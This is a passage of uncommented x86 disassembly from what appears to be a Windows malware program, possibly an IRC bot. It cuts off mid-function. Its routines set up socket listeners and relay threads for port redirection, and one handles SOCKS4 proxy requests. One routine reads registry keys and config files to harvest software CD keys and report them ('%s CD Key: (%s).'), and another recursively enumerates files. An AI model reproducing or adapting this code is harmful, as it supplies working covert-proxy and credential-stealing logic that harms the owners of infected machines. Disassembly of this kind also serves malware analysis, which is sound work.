		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43A3B8
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43A438
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D62
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_43F554[eax], ebx
		call	dword_43A2D4
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A3E4
		test	eax, eax
		jnz	loc_407D62
		push	0Ah
		push	ebx
		call	dword_43A3E0
		test	eax, eax
		jnz	loc_407D62

loc_407CA8:				; CODE XREF: sub_407BFE+BEj
					; sub_407BFE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43A44C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407CA8
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_427B70
		push	eax
		call	sub_4154E7
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414F93
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43F54C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407D86
		push	esi
		push	esi
		call	dword_42108C
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43F55C[ecx], eax
		jz	short loc_407D4D

loc_407D3A:				; CODE XREF: sub_407BFE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407CA8
		push	32h
		call	dword_421060
		jmp	short loc_407D3A
; ---------------------------------------------------------------------------

loc_407D4D:				; CODE XREF: sub_407BFE+13Aj
		call	dword_421088
		push	eax
		push	offset unk_427B20
		call	sub_40B1E1
		pop	ecx
		pop	ecx
		jmp	short loc_407D65
; ---------------------------------------------------------------------------

loc_407D62:				; CODE XREF: sub_407BFE+61j
					; sub_407BFE+93j ...
		mov	edi, [ebp+arg_0]

loc_407D65:				; CODE XREF: sub_407BFE+162j
		push	edi
		call	dword_43A450
		push	ebx
		call	dword_43A450
		push	[ebp+var_3C]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048
		pop	edi
		pop	esi
		pop	ebx
sub_407BFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D86	proc near		; DATA XREF: sub_407BFE+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43A438
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407F3C
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_43A3B8
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A3F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407E16
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A43C
		jmp	short loc_407E24
; ---------------------------------------------------------------------------

loc_407E16:				; CODE XREF: sub_407D86+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43A370

loc_407E24:				; CODE XREF: sub_407D86+8Ej
		cmp	eax, edi
		jz	loc_407F3C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F3C
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_427C1C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_414F93
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43F554[ebx]
		mov	dword_43F54C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43F558[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407F6D
		push	edi
		push	edi
		call	dword_42108C
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43F55C[ecx], eax
		jz	short loc_407F29

loc_407ED6:				; CODE XREF: sub_407D86+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_407EE5
		push	32h
		call	dword_421060
		jmp	short loc_407ED6
; ---------------------------------------------------------------------------

loc_407EE5:				; CODE XREF: sub_407D86+153j
		mov	ebx, 1000h

loc_407EEA:				; CODE XREF: sub_407D86+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43A3D0
		cmp	eax, edi
		jle	short loc_407F3C
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EEA
		jmp	short loc_407F3C
; ---------------------------------------------------------------------------

loc_407F29:				; CODE XREF: sub_407D86+14Ej
		call	dword_421088
		push	eax
		push	offset unk_427BC8
		call	sub_40B1E1
		pop	ecx
		pop	ecx

loc_407F3C:				; CODE XREF: sub_407D86+44j
					; sub_407D86+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43F554[eax]
		call	dword_43A450
		push	[ebp+arg_0]
		call	dword_43A450
		push	[ebp+var_4]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048
		pop	edi
		pop	esi
		pop	ebx
sub_407D86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F6D	proc near		; DATA XREF: sub_407D86+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407FA4:				; CODE XREF: sub_407F6D+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43F558[esi]
		call	dword_43A3D0
		test	eax, eax
		jle	short loc_407FEB
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43F554[esi]
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407FA4

loc_407FEB:				; CODE XREF: sub_407F6D+61j
		push	dword_43F558[esi]
		call	dword_43A450
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048
		pop	edi
		pop	esi
sub_407F6D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40800A	proc near		; DATA XREF: sub_40CE55+58ABo

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43A3B8
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_43A438
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43F554[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43A3E4
		test	eax, eax
		jnz	loc_4081AC
		push	0Ah
		push	edi
		call	dword_43A3E0
		test	eax, eax
		jnz	loc_4081AC
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D5C
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080E5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412D4C
		add	esp, 14h

loc_4080E5:				; CODE XREF: sub_40800A+B9j
					; sub_40800A+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43A44C
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D04
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_414F93
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43F54C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_40820F
		push	esi
		push	esi
		call	dword_42108C
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43F55C[ecx], eax
		jz	short loc_40818C

loc_408179:				; CODE XREF: sub_40800A+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080E5
		push	5
		call	dword_421060
		jmp	short loc_408179
; ---------------------------------------------------------------------------

loc_40818C:				; CODE XREF: sub_40800A+16Dj
		call	dword_421088
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427CB8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	loc_4080E5
; ---------------------------------------------------------------------------

loc_4081AC:				; CODE XREF: sub_40800A+7Bj
					; sub_40800A+8Cj
		push	edi
		call	dword_43A450
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_427C74
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081EF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412D4C
		add	esp, 14h

loc_4081EF:				; CODE XREF: sub_40800A+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_3C]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048
		pop	edi
		pop	esi
		pop	ebx
sub_40800A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820F	proc near		; DATA XREF: sub_40800A+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43F554[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43A3A0
		test	eax, eax
		jnz	short loc_408290
		push	dword ptr [esi]
		call	dword_43A450
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_408290:				; CODE XREF: sub_40820F+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43A3D0
		test	eax, eax
		jg	short loc_4082C1
		push	dword ptr [esi]
		call	dword_43A450
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_4082C1:				; CODE XREF: sub_40820F+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4084BB
		cmp	[ebp+var_4CF], 1
		jnz	loc_4084BB
		cmp	[ebp+var_44], bl
		jz	short loc_408357
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408357
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_427E3C
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A408
		push	dword ptr [esi]
		call	dword_43A450
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_408357:				; CODE XREF: sub_40820F+CFj
					; sub_40820F+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_415570
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43A438
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083EF
		call	dword_43A34C
		push	eax
		push	offset unk_427DEC
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A408
		push	dword ptr [esi]
		call	dword_43A450
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_4083EF:				; CODE XREF: sub_40820F+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40845E
		call	dword_43A34C
		push	eax
		push	offset unk_427D98
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A408
		push	dword ptr [esi]
		call	dword_43A450
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_40845E:				; CODE XREF: sub_40820F+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A408
		push	dword ptr [esi]
		push	edi
		call	sub_4084D3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43A450
		push	dword ptr [esi]
		call	dword_43A450
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_4084BB:				; CODE XREF: sub_40820F+B9j
					; sub_40820F+C6j
		push	dword ptr [esi]
		call	dword_43A450
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048
sub_40820F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084D3	proc near		; CODE XREF: sub_40820F+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4084E9:				; CODE XREF: sub_4084D3+C5j
					; sub_4084D3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_408501:				; CODE XREF: sub_4084D3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_408511
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_408501

loc_408511:				; CODE XREF: sub_4084D3+33j
		cmp	ecx, 1
		jnz	short loc_408526
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408526:				; CODE XREF: sub_4084D3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43A3A0
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43A2B0
		test	eax, eax
		jz	short loc_408586
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE

loc_408586:				; CODE XREF: sub_4084D3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A2B0
		test	eax, eax
		jz	loc_4084E9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084E9

loc_4085CE:				; CODE XREF: sub_4084D3+9Aj
					; sub_4084D3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085D3	proc near		; CODE XREF: sub_40CE55+52B0p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_427E94, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408785
		push	esi
		push	edi
		mov	eax, offset off_427E94
		mov	esi, offset dword_427EA0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408603:				; CODE XREF: sub_4085D3+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43A428
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43A2C4
		test	eax, eax
		jnz	loc_40876B
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_40872F
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415BE8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40876B
		push	eax

loc_40867C:				; CODE XREF: sub_4085D3+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41713C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408724
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086A9
		push	[ebp+var_8]
		jmp	short loc_40867C
; ---------------------------------------------------------------------------

loc_4086A9:				; CODE XREF: sub_4085D3+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086E8
		lea	eax, [ebp+var_70]
		push	offset asc_429098 ; "="
		push	eax
		call	sub_416C98
		push	offset asc_429098 ; "="
		push	ebx
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		add	esp, 20h
		jmp	short loc_4086FF
; ---------------------------------------------------------------------------

loc_4086E8:				; CODE XREF: sub_4085D3+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_4086FF:				; CODE XREF: sub_4085D3+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 18h

loc_408724:				; CODE XREF: sub_4085D3+B9j
		push	[ebp+var_8]
		call	sub_415B40
		pop	ecx
		jmp	short loc_40876B
; ---------------------------------------------------------------------------

loc_40872F:				; CODE XREF: sub_4085D3+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 28h

loc_40876B:				; CODE XREF: sub_4085D3+60j
					; sub_4085D3+A2j ...
		push	[ebp+var_4]
		call	dword_43A394
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408603
		pop	edi
		pop	esi

loc_408785:				; CODE XREF: sub_4085D3+19j
		pop	ebx
		leave
		retn
sub_4085D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408788	proc near		; DATA XREF: sub_40CE55+3C21o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4087DD
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_4087DD:				; CODE XREF: sub_408788+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_4290F0
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408822
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4C
		add	esp, 14h

loc_408822:				; CODE XREF: sub_408788+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_4088A0
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_4290BC
		push	eax
		call	sub_4154E7
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408880
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4C
		add	esp, 14h

loc_408880:				; CODE XREF: sub_408788+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048
		pop	edi
		pop	esi
		pop	ebx
sub_408788	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088A0	proc near		; CODE XREF: sub_408788+B9p
					; sub_4088A0+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_415A6A
		mov	edi, dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_40895D

loc_4088EC:				; CODE XREF: sub_4088A0+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408949
